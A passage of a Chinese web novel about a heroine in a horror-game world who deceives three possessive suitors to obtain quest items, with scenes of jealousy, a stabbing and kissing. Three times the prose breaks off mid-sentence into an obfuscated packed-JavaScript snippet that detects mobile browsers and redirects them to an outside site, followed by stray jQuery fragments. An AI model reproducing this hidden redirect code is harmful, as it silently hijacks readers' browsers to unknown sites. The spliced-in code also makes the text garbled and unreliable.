“不知怎的淹死在池塘里了,大公子眼下正和少夫人睡着,还不知晓。管事说等大公子醒了再去通禀,莫要扰大公子休息。” “容与死的也太古怪了,好端端的怎会淹死?真是可惜了,若是不死,以大公子对他的宠信,来日定也能混个管事当当。” “诶,你们说……会不会和羽生有关啊?我听说今天容与对羽生动手了,那可是羽生啊,满府谁人不知惹了羽生可都没有好下场……” “可羽生不是被关进柴房了吗?他如何能对容与下手?” 季白听到这儿,后背蓦然升起一股凉意。 若羽生真能神不知鬼不觉地对容与下手,那今日伤了他的她,还能有好吗? 季白稳了稳心神,又把刚刚打好的草稿在心里演练了一遍,随后加快了脚步。 另一边,闻人瑾出事的消息终是传到了褚师怀耳中。 自从褚师怀从季白口中得知闻人瑾曾对她下杀手的事后,他就开始密切关注起闻人瑾院中的一举一动,生怕闻人瑾再次对季白不利。 “闻人瑾中毒了,凶手是那位同小白关系密切的小厮?” “千真万确。”那小厮回禀道,“听说那毒极其厉害,害得大公子今日险些丧了命。” 褚师怀敲了敲桌面,随即蓦地站起,神色慌张地喊道,“不好!小白有危险,走,快随我去一趟。” 那小厮满脸不解,“公子,中毒的是大公子,季小姐怎会有事?” “那小子素来是个有心计的,什么人能伤得了他?依我看,此局定是闻人瑾自导 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14919715|159720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自演,目的便是要对小白不利!” 上一次闻人瑾暗中下手要杀小白而失败,这次定是要借下毒事件光明正大地取小白的性命。 他不止要小白的性命,还要把她钉在耻辱柱上,留下一个毒妇的千古骂名。 真是好阴损的手段! 褚师怀想到这儿,恨不能一剑捅了闻人瑾。 他如今既如此怨恨小白,当初又何必非要强娶? 早知如此,当年他就不该放手! 褚师怀提着剑怒气冲冲地往闻人瑾和季白的院落去了,看样子不像是去救人,反而更像是去杀人。 “闻人瑾!闻人瑾,快滚出来见我!” 闻人瑾被院外的吵嚷声所惊醒,他一醒,就抬手去摸身边的位置,可入手的只有一片冰冷。 看样子塌边的人儿已离去许久了。 闻人瑾似是想到了什么,嘴角勾出一抹浅浅的笑,一刹那,满室生辉,如谪仙亲临,可他笑着笑着,竟又添了几分阴寒之感,仿佛是从地狱爬出来的怨鬼。 一陌生小厮战战兢兢地走上前道:“大公子,褚师公子吵着要见您。” 闻人瑾起身拢了拢发,“让他去偏厅候着,来,为我更衣。” 褚师怀焦躁不安地在偏厅转了七八圈,下人们奉上的茶点,他一口未动,当他转到第九圈,想要直闯时,连通着主屋的连廊传来动静,他抬眸去看,就见闻人瑾穿着一袭月白色的交领锦衣缓步走了进来,头上戴着一个白玉莲花冠,腰系环佩香囊,脚上穿着一双鎏金暗花纹银靴。 褚师怀冷笑不已,中毒? 瞧他这幅骚包的样子,哪有半分中毒之相? 果真是他自导自演的诡计! 褚师怀开门见山,“小白呢?” 闻人瑾摸了摸手上的翡翠戒指,回答得模棱两可,“她应当在柴房。” 褚师怀怒目圆睁,“你把小白关到柴房去了?!闻人瑾,你简直该死!你若厌了小白,不如放她自由,我会带小白远走高飞,绝不再碍你的眼!” “怀兄慎言,她是我娘子,哪怕是死,也是我的人。” 褚师怀拔剑相向,“你也知道小白是你娘子,可你两次三番地对她下手,如今更是要致她于死地,闻人瑾,你还记得你当年答应过我什么吗?” “你说,你会爱她护她,绝不让她受半分委屈,你说爱她至深,绝不会辜负她,可你都做了什么?!闻人瑾,我当年最后悔的就是听信你的鬼话,任由小白嫁给了你。” 闻人瑾神色不改,“怀兄,如今旧事再提是否太晚了些?世上可没有后悔药。” “怀兄今日前来,想必也不是为了见我,你要找的小白就在柴房,若去晚了……”闻人瑾扬唇笑了笑,“说不好……就见不到了。” 褚师怀气急,抬手用剑刺入闻人瑾的胸膛,鲜红的血顿时涌了出来。 “大公子!”仆从们惊慌失措地涌上前制止,却见闻人瑾摆了摆手,示意他们退下。 褚师怀握着剑又往里刺了三分,咬牙切齿地说:“闻人瑾,若小白有半分损伤,我定要你百倍偿还!” 闻人瑾额上布满细汗,嘴角却还挂着一抹稍显诡异的笑,“怀兄的心性倒真是半点也未改,还同当年一般性急。” 只听噗嗤一声,鲜血喷涌而出,褚师怀已利落地拔出了剑。 褚师怀眼神狠厉,“你最好祈求小白无事。” 他话落转身离去,仆从们连忙上前给闻人瑾处理胸上的剑伤。 他靠躺在春榻上,嘴角含着一抹笑意,明明受了褚师怀一剑,可他看起来好像甚为开怀。 他比不上羽生,亦比不上褚师怀,好像谁都比他重要,他只能用名分,用手段,用谎言,用心计留下她。 可他真的很好奇,旧爱和新欢在她的心中到底谁更重要? 待他们知晓了她的虚伪与花心,还是否会一如既往的爱着她? 闻人瑾摸了摸手指上的翡翠扳指,脸上的笑意越发浓郁,似是一株开到极艳的格桑花。 没关系,他会等她,她总有一天会知道,爱着她的人,能包容她所有的人,唯有他一人。 褚师怀与闻人瑾一同长大,幼时,他们亲如兄弟,他日日都会来这儿找闻人瑾玩,闻人瑾看不见,他就陪着他说话,给他讲他看见的东西,那时,他也曾说会一辈子做他的眼睛,他们会做一辈子的好兄弟。 时隔多年,褚师怀对这儿依旧轻车熟路,他快步越过□□,来到角落那间关押犯错之人的柴房。 还未靠近,褚师怀就先听见了屋内传来了他熟悉的声音,他面色一喜,正要推门而入,可在听清内容后,他脸上的笑容僵在了脸上,仿佛被雷劈了一样,一动也不能动了。 “羽生,你信我,刚刚都只是权宜之计,为保住你的命,我不得不那么对你,你会原谅我的吧?” “你且安心,三日后,我同你一起走,我们一起逃到一个谁也找到我们的地方,只有我们两人,日升而做,日作而息,只要能与你在一起,多少荣华富贵,我都不换。” 15. 第 15 章 羽生抬眸望着她,剔透的瞳孔中依稀倒映着她的脸庞。 “夫人真的不是在骗我吗?” 他的眼神深邃悠长,黑色的瞳孔似是一面能照映天地万物的镜子,有这么一瞬间,季白觉得自己的所有心思都在羽生面前袒露无疑。 所有的秘密都瞒不过这双眼睛。 季白有一瞬间的失神,不知该如何回答他,不知该如何取得他的信任。 她突然想起丫鬟们的话,容与死了,所有和他作对的下人们都死得不明不白。 明明还是这个人,可却看不透他,好似家门口那汪纯澈见底的泉水不知在何时住进了一个不可名状的可怖怪物。 她未曾见过他的原貌,可在某日下午的一个惊魂一瞥后,就再也忘不掉。 自此,那种诡异的恐怖感就缠上了她,就连在梦里都是怪物玩鼠般的追逐。 可这种诡异的,不寒而栗的感觉一闪而逝,因为羽生已经自顾自地相信她了。 他实在好哄,不,甚至都不用哄。 只要季白愿意靠近一步,他就会一而再,再而三地奔向她。 轻柔的吻落在她的脸庞,随即是不可控的密切的,炙热的吻,微哑的声音从他的唇中溢出。 “不,就算是骗我,羽生也心甘情愿。” “我说过的,夫人对羽生做什么都可以。” “让羽生做什么,羽生都会做。” 季白有一瞬间的失神,但又很快沉溺在他失控迷乱的吻中,酥酥麻麻的快感沿着脊背一路直冲大脑。 她掐着羽生的胳膊,气喘吁吁地说:“别!别弄了!” 羽生听话地停了下来,可炙热的身体却还紧贴着她的身体,源源不断的热量熏烤着她,让她有点晕乎乎的。 房间内静谧得掉根针都能听见,致使他们的心跳声,喘息声格外明显,她低着头大口大口的喘息,能清楚的听见羽生越来越沉,越来越急的呼吸,像是一只蓄势待发的野兽。 她缓了好一会,方抬起头,可在对上他的双眸时,情绪再一次失控,不知是谁先主动,两人又再次吻到了一起。 暧昧的水声听得人脸红耳赤,心跳加速。 羽生眼神晶亮,红唇如涂膏蜜。 “夫人喜欢吗?” “我还可以让夫人更舒服。” 季白有点发抖,连连制止,“够了……这儿不方便。” 羽生闻言有点失落地停下了动作。 “羽生。”季白舔了舔唇,说,“你有什么东西让我去帮你收拾吗?” “东西?” “嗯。”季白说,“三日后我们就走,若你有什么重要的东西落在房间里了,我顺便帮你装起来带走,免得到时候又要回去取。” 羽生毫不设防地说:“有啊,我的东西都在床下,黑色的小木匣里装着我最重要的东西,夫人只需把它带上就行,其余的东西都不用管。” 季白再一次同他确认。 “里面的东西对你而言是很重要很重要的东西,对吗?” 她问得太过明显,如果对象不是羽生,她一定不会这样直白的问。 可她就是莫名的相信,他不会怀疑她,也不会伤害她。 羽生弯眸笑了笑,干净得似是枝头落下的初雪,在太阳的折射下反射出让人安心的光芒。 “是。” “我和夫人说过,里面有一件是我爹娘传给我的东西。” “好,我记住了。”季白说,“你放心,我一定不会给你弄丢。” “嗯。”羽生说,“就算弄丢了,我也不会怪夫人。” “三天后,我等着夫人跟我走。” 他说着,似是低下头轻声呢喃了一句,我会一直等着。 季白的心突然有一瞬间的柔软,因为这注定是一个不会有结果的等待。 她不知等到她完成任务后,这个世界会怎么样,是会消失,还是会照常运转。 她突然有一点不忍。 “羽生。”她轻声说,“万一没等到我,你就先走吧。” 羽生蓦地抬起头看向她,眼神是前所未有的执拗。 “不,我会一直等着夫人。” 季白的心尖颤了颤,她近乎狼狈地移开了视线,胡乱应了一声。 “我该走了,若是待得太久,会被闻人瑾发现。” “好。”羽生依旧乖巧地应了一声。 季白拂了拂衣服上沾染的灰尘,转身离开这儿,她的手刚搭到门上就听羽生突然在她身后问:“夫人会跟我走的,对吧?” 他问得小心翼翼,好似求得不是一个答案,而是一个带毒的糖果。 “会。”季白听见自己说。 是假的,我不会跟你走。 她在自己的心里这么说。 季白突然觉得这间屋子有点令人窒息,闷得她快要喘不过气,她近乎于逃跑的慌乱地推开了门,直至走了好一段路,她的心还是有点闷闷的难受。 【你这样薄情的人也会难受吗?】 系统的声音突兀地在季白的脑海中响起。 季白沉默了一瞬,问。 【等我走后,这个世界会如何?】 【你在意他们?】 系统的声音陡然提高了几分贝。 季白没有回答系统的疑问,系统也没有再追问她,而是又一次沉寂于她的脑海中,好似从未出现过。 季白吐出一口气,安抚自己,不用在意他们,他们只是一款恐怖游戏的虚拟人物罢了,他们的爱意也不是对她,而是初始时就设定好的完美程序。 可是…… 话虽如此,这里的一切都太真实了。 真实到常常会让季白忘记,这里只是一个诡异的恐怖世界。 可她永远都记得那一天的晚上,记得怪物们的触手缠绕在她脚腕时的冰冷,记得怪物们的利齿咬在肉上的疼痛。 或许,这个任务最难的地方不在可怖的怪物们,也不在寻觅答案和道具,而在于男主们那样炙热,毫无保留的爱意。 爱是比任何可怖的武器都要厉害的存在。 它会柔软的,甜蜜的,悄无声息的消磨一个人的意志,让人心甘情愿地留在这儿成为怪物们的养料。 她抬起头看了眼夕阳,正想得入神,手腕却倏地一痛,她一回神就对上一双烈焰熊熊的眼眸。 褚师怀咬牙切齿地问:“你在想什么?” “那个小厮?” “呵,你真的爱上他了?” 他蓦地一用力,将季白拽至跟前,凶悍的眼神让人毫不怀疑,他会在下一秒杀了她。 他的另一只手轻而易举地钳住她的下巴,力气重到在她的下巴上留下一圈圈的白印。 “所以他不是你用来刺激我的工具,而是真真切切地爱上了。” “三日后你要跟他走,那我呢?” “我问你,那我呢?!你把我放到什么地方?” “说啊!你不是很能说吗?你说话啊!” “回答我,你把我当什么,用完就丢的垃圾?随意玩弄的白痴?” 褚师怀声嘶力竭地吼道,恍惚间季白好像回到了第一次见他时的场景,不,比第一次见他时还要疯癫可怕,仿佛上一次见面时的温和开朗都是她做的一场梦。 季白缓了缓,大脑飞速运转着,他一定是听见她和羽生刚刚的谈话了。 该死,他怎么来了? 他到底听见了多少? 褚师怀蓦地哭了,掐着她下巴的手无力地垂下,而后重重把她按进了怀里,低下头把下巴抵在她的发顶,声音哽咽又无助。 “如果这是你的报复,我也认了。” “我负你一次,你负我一次。” “小白,我们也算扯平了对不对?” “小白,你答应我的事一定还作数对不对?” “我们一定能回到从前,一定能回到从前,你怎么会喜欢一个没用的小厮呢。” 其实季白对褚师怀已经没多少耐心了,她想要的东西已经从褚师怀手上拿到了。 只是需要稳住他不要添乱,季白想了半晌,故意用力推开了褚师怀,冷笑道:“是,我是爱上他了,有问题吗?” 褚师怀如遭雷劈,他一面退后一面摇头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922616|159720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“不……这不可能。” 季白别开视线,眼中含泪,“他愿意为我做任何事,哪怕是死都不怕,你呢?” “褚师怀,如果当初你能有他万分之一的勇气,你我之间也不会落到这一步!” 季白说到这儿,抹去眼角的泪,视线重新落回到褚师怀的脸上,一字一句地说:“这一切都怪你,是你对不起我!” 季白知道普通的解释压根没有用,如果解释她和羽生之间清清白白,毫无情意,他也不会信,那么唯一能做的,就是顺着他的话头,把所有的事情都扣在他的头上。 幸亏季白看过原主和褚师怀之间的通信,虽然她不知他们当初发生了什么,但她可以肯定当初是褚师怀负了原主,那么她今天变成这样,也全都是他的错。 系统看到这儿,都忍不住冷声嗤了一句。 【真是好一手甩锅。】 【瞧瞧他的傻样,你几句话就让他从质问变成愧疚了。】 季白在脑海中默默回道。 【原本就是他对不住原主。】 【你少说话,别影响我发挥!】 褚师怀望着她眼角的泪,呢喃着问:“所以你是用他气我对不对?” “你还是在怪我当年放弃了你。” 他缓缓抬手抚上她的脸,常年练武的指腹有几分粗粝,“是我对不住你。” “你变成这样全是我的错。” “可是小白,我真的真的快认不清你了。” 他的笑难看得像是在哭。 “我已经分不清你哪一句话是真,哪一句话是假。” “分不清你对我是真情还是假意。” 季白捧上他的脸,眼神又变得温柔纯澈。 她掂起脚尖吻上褚师怀的眼角,吮去他眼边的泪。 “怀哥哥,你不能怪我,是你把我变成这样的。” “羽生他很好,他为了给我出气,被闻人瑾折磨了一番赶了出去,我不能不管他。” “他喜欢我的样子,总是能让我想到以前的你。” “可是……”季白松开捧着他脸的手,一步一步地往后退,“可是他再好也不是你。” 褚师怀连忙伸手抓住季白,近乎于急迫地说:“我会变成以前的我,你也变成以前的你,好不好?” “我们都还年轻,一切都还来得及。” 他紧紧搂着季白,“你不要喜欢别人,求你,如果你不爱我,我真的会疯掉。” “你先放开我。”季白说。 褚师怀的脸色一下又变得很难看,“是不是要我杀了他,你才会回来?” 他说到这儿,蓦然松开了季白,拎着剑就朝柴房的方向去。 季白冷冷说:“那我再也不会理你。” “你就算杀了我,我也是闻人瑾的妻子,死后的魂魄也属于闻人家,与你褚师怀没有半点关系。” 这句话显然是戳中了褚师怀的软肋,他最怕季白不爱他,不属于他。 他前进的脚步僵在原地,季白又上前环住他的腰身,在他身后低语,“我刚刚的话都是安慰他的,我怎么可能真的和他走?” “我没有忘记和你的约定,你相信我好不好?” 褚师怀低眸看了一眼手上的剑,他看似恢复平静了,其实他在很认真地思考一个问题。 要不要现在就杀了季白,这样他就再也不用担心季白会离开他了。 他会烧一把大火,让他们的尸骨彼此交融,再也分不出你我,永永远远地在一次。 季白不清楚褚师怀现在的想法,但她很明显的感受到了褚师怀变得危险的气息。 “你刚刚和他也是这么说的。”褚师怀低声说,“你说让他相信你,你现在又让我相信你。” “你能骗他,焉知不会骗我?” 她咽了咽口水,那种危险的气息越发浓厚了,她的身子不禁地颤了一下,下意识的就想跑,这是动物求生的本能。 可她知道如果自己真的跑了,就真的全完了…… 褚师怀的手搭在了剑柄上,轻声说:“小白,你现在太爱撒谎了,我分不清,也不想分了。” 16. 第 16 章 季白听见了剑锋出鞘的声音,缓慢的,尖锐的,如同一道催命的符咒在寂静的黑夜响起,让人无从躲避,不知何时会被一剑毙命。 季白的后背激起了一层冷汗,闪烁着寒光的剑身映照着她苍白的面容,惊慌的眼神。 她强压下心中的恐惧,紧紧抱住褚师怀不松手,仿佛看不见那柄已然出鞘对准她的剑。 她知道如果再不说点什么,自己的小命真就交代在这儿了。 可极端的恐惧让她的大脑变成了一团浆糊,伶俐的口齿也似乎被糊住了,眼下,她也压根不敢乱说话,生怕哪句话不对刺激到又不正常的褚师怀。 忽而,她脑中灵光一闪,头埋在他的怀里,闷闷地念了一首诗。 “枕前发尽千般愿,要休且待青山烂。水面上秤锤浮,直待黄河彻底枯。白日参辰现,北斗回南面。休即未能休,且待三更见日头。” 她念得很认真,一字一句,沉闷的声音宛若有着千钧之力化为重锤一下下地锤到他的心上,紧攥的长剑应声而落,发出一声悲怆的凄鸣。 剑的主人亦好不到哪里去,他的手都在抖,暗哑低沉的声音颤得语不成调。 “你……你还记得?” “当然。”季白虚情假意的泪水润湿他胸前的衣襟,“我怎么会忘了我和怀哥哥的誓言?” 季白庆幸自己的记忆力还算不错,在信中看过这首诗后就记下来了,不然今天真要死定了。 她一面说着,一面偷偷抬头去看褚师怀脸上的神色。 剑都掉了,应该不会再想着杀她了吧? 褚师怀轻笑着,沉寂肃寒的眼眸里又生出点点生机。 “我也记得。”褚师怀说,“休即未能休,且待三更见日头。” “小白,哪怕真有一日青山烂,秤锤浮,黄河枯,白日参辰,北斗回南,三更见日,我也不要和你分开。” 季白抱着褚师怀腰身的胳膊又紧了紧,轻声说:“可你放弃过我一次了。” 她话音刚落,季白就很明显的感受到褚师怀蓦然紧绷的肌肉,搂在她腰上的手颤得厉害,似乎是无法接受自己曾经犯下这样的错,背叛了他们的承诺。 季白用温柔的,带着蛊惑性的语气说:“但我不会放弃你,我永远都记得我们的承诺。” “我知道你觉得我变了,觉得我爱说谎了,可我所有的谎言都是为了你啊。” “我怕闻人瑾对你不利,假意与你断绝关系,我恨你弃我不顾,故意同羽生亲近而刺激你,我为你做了这么多,你难道还不明白吗?只有你可以牵动我所有的情绪,我所有的痛苦,欢喜都来自你,无论你如何对我,我对你的心都永远不会变。” 季白深情地诉说着,突然感觉自己的脸颊有点痒痒的,她本能地抬手一抓,是一根不知从何而来的羽毛。 她并没有当做一回事,而是随手扔到了一边。 与此同时,另一间房间里少女柔软深情的声音缓缓铺开,可诡异的是房间里并没有什么女子。 羽生靠坐在墙角,一只腿随意的曲起,神色淡漠地把胳膊肘搭在膝盖上,向上的掌心里漂浮着一根白羽,细听之下,方惊异的发觉原来少女的声音皆是由这根羽毛发出的。 羽生忽地嗤笑一声,什么三天后跟他一起走,果然都是骗他的。 他闭上了眼向后靠去,脸上神色淡然,就连一滴泪也没有,也没有平日故意示弱的可怜,可却偏偏给人一种震颤到骨子的心碎。 只听少女还在继续对她的情郎表白。 “怀哥哥,你若还要怀疑我骗你,不如多等三日,看三日后,我会不会背弃我们的承诺。” “若我那时真的做出对不起你的事,你再对我做什么,我都不会有半句怨言。” 褚师怀轻抚着她的乌发,掌心下是如同丝绸般微凉滑顺的触感,拂动间隐有暗香浮动。 她的话多么动人啊。 可如果一切都是为了他,那为什么还会在他看不见的地方和他亲吻呢? 这也是为了他吗? 褚师怀轻抚的手掌蓦地一顿,五指骤然用力,把人重重按进了自己的怀里。 她刚刚说在那儿不方便,那在方便的地方,他们都做过什么? 是不是……什么都做了。 季白的脸被那双炙热的大手紧紧压在他的怀里,让她快要喘不过气。 但她又不敢挣扎,眼见褚师怀的情绪得到平复,万一她一挣扎又激得他发起疯来,就得不偿失了。 不知过了多久,褚师怀终于松开按着她后脑勺的手,新鲜空气重新充盈在她的鼻尖,让她得以重新呼吸。 季白见褚师怀久久不语,正想着再说点什么,褚师怀却突然伸手捧上了她的脸,她顺着这股力道抬起头对上他幽深的目光。 “差点又被你骗过去了。” “你不喜欢他,也可以和他亲吻吗?” 季白望着他如幽谷般森冷的目光,紧张得嘴巴发干,他连这都看见了? 他沉沉地笑着,可眼睛里却没有半分笑意。 “你想说你是被迫的?” “可他分明说弄得你很舒服。” 他勾着她的下巴,低下头逼近她,刚刚还冷寂的幽谷在一瞬间被天火点燃,熊熊燃烧的大火几乎快要从眼睛里溢出来了。 “小白,有多舒服,你教教怀哥哥好不好?” 季白的心脏砰砰直跳,不用刀剑,她已经快要被他的目光融化了。 她索性一不做二不休,搂上褚师怀的脖子就吻了上去,因为吻得太急,牙齿还重重磕到了唇上,一瞬间,腥涩的铁锈味在嘴中弥散开来。 这实在不算一个甜蜜舒服的吻,可在她的唇贴上来的时候,褚师怀心尖一颤,无可避免,无法抗拒地沉醉其中,就像是枯枝渴望着甘霖。 他怔愣了短短的一瞬后,就按着季白的后脑勺凶狠地回吻了回去,似乎是要把所有的嫉妒,愤恨,心痛都发泄出来,又似乎是在和什么人较着劲,一定要吻得她双腿发软,气喘吁吁。 还是留着她吧,他想。 褚师怀缓缓睁开眼望着倒在他怀里的季白,红唇被他吻得娇艳无比,泛起一层水光,指腹温柔地摩挲着她的唇瓣,他还记得刚刚吻上去的温度和触感。 他反复无常,很不好哄,情绪上来时就像一个要毁灭一切的疯子,可仅仅是一个吻又可以让他变得柔软。 他想要的,从头到尾都只有季白唯一的爱。 如果杀了她,他再也看不见这样鲜妍生动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14936017|159720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的她,再也吻不上她的唇,感受不到她的温度,她的气味。 她还是爱他的吧? 不然为什么还要费劲心思的骗他呢? 为什么还会去看望生病的他呢? 此时此刻的褚师怀已经不愿意去深想季白的言行不一。 他想再信她一次,只是三天而已,他等得起。 “怀哥哥……”季白怯生生地喊他,“你还生气吗?” 褚师怀似乎是又恢复成了阳光开朗的性子,他捏了下季白的鼻子,故作生气地问:“如果是我吻了别的姑娘,与其他女子纠缠不清,你生不生气?” 季白心想,看样子是不生气了。 季白轻哼一声,故意气呼呼地说:“我听春桃说了,你可是城里最风流潇洒的公子,不知外面有多少红颜知己呢。” “她的话岂能当真?”褚师怀说着用手掰开季白的嘴,检查了一下她嘴里的伤,见她无恙后,方继续说,“单你一个人就折磨得我神魂颠倒,我哪还有心思想别人?” “我整日待在府里大门不出二门不迈,你的事我又如何知道?”季白娇嗔地说了一句。 褚师怀哑然失笑,揪了下她的鼻子,笑骂了一句,“小没良心的”。 季白又同褚师怀说了许多好话,总算哄的褚师怀心情平复,愿意离开了。 临行前,褚师怀的笑意又淡了不少,掐着她的下巴意味深长地说:“小白,三日后不要让我失望。” “如果让我发现你在骗我。”褚师怀掐着她下巴的手加大了力度,“我也不知道我会做出什么事。” 他说完这句话又深深看了她一眼,而后转身离去。 季白看着他远走的背影松了口气,暗想,三天后,她早就完成任务跑路了,谁还管你啊。 不过在此之前,她得先把羽生的道具取了。 季白想到这儿,转身快步朝羽生之前住过的下人房去。 羽生被关后,这间屋子就暂时空下了。 房门上挂着一把锁,季白怕节外生枝,没敢劳师动众请下人们过来开门。 她站在门外看了半晌后,抬脚就踹,然而这门还牢固得很,并没有踹开。 若是再踹,免不得引来人,季白想了想就盯上了窗户,她顺手从墙边捡了块石头,动作利落的把窗户砸开了,然后翻身一跃就爬上窗台跳进屋里。 系统冷不丁地又冒出一句话。 【你还真是……不走寻常路。】 季白毫不内耗,也不觉羞愧。 【那咋了?】 这副本再待下去,小命都快没了。 在这个杀人都随便的诡异世界,她砸个窗有什么问题? 屋子里光线昏暗,季白把木桌上的蜡烛点亮后,就弯下腰去找羽生所说的小木匣,可她在床底下摸了一圈也没找到。 奇怪,羽生明明说就放在床底下啊,怎么会没有呢? 季白不信邪地趴在地上往床底下看,借着微弱的烛光她勉强可以看清床底的情况,她从上看到下,从左看到右,也没有看到有什么小木匣。 木质的地板上光溜溜的,连层灰都没有。 季白瞬时有点慌,羽生的房间是被下人们搜过的,该不会被什么人拿走了吧? 17. 第 17 章 系统颇有几分幸灾乐祸。 【羽生骗了你。】 【你以为可以掌控他,其实他早就看穿你的虚情假意了。】 季白站起身环顾了一圈屋子,这间屋子的陈设很简单,一张床,一张桌子,还有一个一人高的柜子,没有任何遮挡就能将这间干净的屋子一扫无余。 由于这间屋子先前被人搜查过,所以柜子的门是大开着的,里面的衣服被人翻得凌乱。 季白一面检查屋子里的其他地方,一面在脑海中同系统说话。 【我失败,你很开心?】 系统又不说话了。 季白检查了一圈后,又重新把目光放回了床底下。 她回想起羽生同她说话时的神色,总觉得羽生不会骗她。 那东西对羽生而言十分重要,如果是她定不会随随便便放在床底下。 季白用力推开了床,转身端起桌上的蜡烛伏在地上细细打量着床下的地板。 木质的深红色地板一块一块的整齐地拼凑在一起,其中有一块的颜色要稍浅一点。 季白抬手敲了敲,空洞的“咚咚”声在寂静的房间内响起。 下面是空的! 季白面色一喜,放下蜡烛就要动手掀开它,可她尝试多次后,这块木砖仍是纹丝未动,最后还是用头上的发簪把这块木砖撬开的。 木砖下有一个约莫二十厘米深的地洞,里面静悄悄地放着一个木匣。 季白扬眸笑了笑,她就知道羽生不会骗她。 她得意洋洋地在脑海中和系统说话。 【系统,让你失望了。】 【羽生的道具,我拿到了。】 系统一言不发,季白也不指望系统会句句回答她。 她这个系统总有几分古怪,不似小说里那种冷冰冰毫无人味的系统,也不似那种一心为宿主着想特别暖心的系统。 虽然它大多数时候都伪装成毫无感情的机器,可有时却也会突然暴露出诡异的不应该有的属于人的感情。 有点像……嫉妒,又有点像是为游戏里的男主们鸣不平。 很奇怪,明明是系统告诉她,他们只是游戏的人物,可当它真的看出她对他们毫无情感时,又率先讥讽她冷漠狠心。 作为系统它的任务应该是希望身为宿主的她快速完成任务,可它刚刚的话似乎又巴不得她任务失败一样。 季白并没有往更深处去想,只是直觉这个系统并不是可以完全信赖的对象。 只不过她目前并没有可以与之抗衡的力量,也只能先暂时按下不表。 她打开木匣,一抹刺眼的白芒从匣里射出,瞬间照亮了这间昏暗的屋子,季白眯了眯眼,待白芒散后,她方看清了匣内的东西。 一枚通体洁白的戒指,戒身上刻着繁复的花纹,上面还镶着一颗黑钻,它的颜色极深极深,里间的黑色仿佛是某种流动的物质,人若是盯着看久了,仿佛就要被这抹黑色吸入其中。 季白伸手将它从匣内取出,戒身瞧着像玉石,却没有玉石的脆弱,反而坚不可摧,握在手里有种说不出的舒畅感,仿佛通体的疲惫都没了。 她联想到方才那抹诡异的白光,确定这东西定不是凡品,羽生的父亲能把这样的东西留给他,说明他的身份定然不凡。 可这样的人为何会甘愿留在闻人府做一个小厮呢? 季白想不明白,也不准备再想了,反正东西都到手了。 她正准备离去,却又看见匣底放着一卷木简,她好奇地拿起来展开一瞧,可里面一个字都没有。 奇怪,羽生为何要把一个空白木简和传家宝放在一起呢? 季白想了想把这东西也一并收到怀里带走了。 如今就只差闻人瑾一人了。 闻人瑾不比羽生好哄,也没有褚师怀对原主的愧疚,他从一开始就表现得极为深爱她,一脸的顺从与乖巧,看起来似乎是脾气最温和的人。 可这只是看起来,季白时常感觉闻人瑾是三人中最难搞的存在。 季白刚入前庭,春桃就急匆匆地找来了。 “少夫人,总算找到你了。”春桃说,“您快去看看吧,大公子受伤了。” 季白眉头微蹙,又受伤了? 闻人瑾是怎么回事,苦肉计演上瘾了? “怎么伤的?”季白问。 春桃神色纠结,小声说:“听说是被褚师公子伤得。” 褚师怀? 季白总算明白褚师怀为何会听见她和羽生的谈话了。 想来定是闻人瑾帮了褚师怀一把,他想做什么? 想让褚师怀看透她的二面三刀,还是想借褚师怀的手除了羽生……或是她? 季白攥了攥指尖,垂眸思索着她下一步该如何做。 如果说褚师怀听见了她和羽生的谈话,那么闻人瑾是不是全都知道了? 他知道她是如何哄骗羽生,又是如何对着褚师怀深情告白。 她吐了口气,只差最后一样道具了。 无论如何,她都要把这场戏演下去。 季白抬脚就走,春桃见季白往卧房的方向去,连忙提醒道:“少夫人,大公子眼下不在卧房,他在书房歇息。” 季白:“我回卧房拿样东西。” 其实这东西最好是季白亲手所做最有效果,可她现在的时间不多了,没有功夫把时间浪费在做手工艺品上。 季白虽没有原主的记忆,但她从先前的信件中知道原主有一件十分珍爱的物件,是原主的母亲赠予原主的坠子。 平时就放在床边,原主连戴都舍不得戴,生怕弄坏了。 季白取了物件就往书房去,书房外站着一位脸生的小童,见她来了连忙给她开门,却并没有跟着她进去。 季白刚进屋,身后就传来细微的关门声,她回眸一看,门已经被关得严严实实了。 眼下已是暮时,金黄的夕阳透过窗棂落了进来,细微的飞尘在光柱中飞舞,房间静得可怕,冷得可怕,仿佛这一扇紧闭的门把她和整个世界隔绝。 季白收回视线,稳了稳心神就往里走。 不管闻人瑾想做什么,至少他的眼睛都不太方便。 若实在不行…… 季白眼中闪过一抹狠色,她可以去找褚师怀帮她。 系统从来没有说过通关道具需要男主们心甘情愿的交给她。 她强夺过来,也未尝不可。 只要能完成任务。 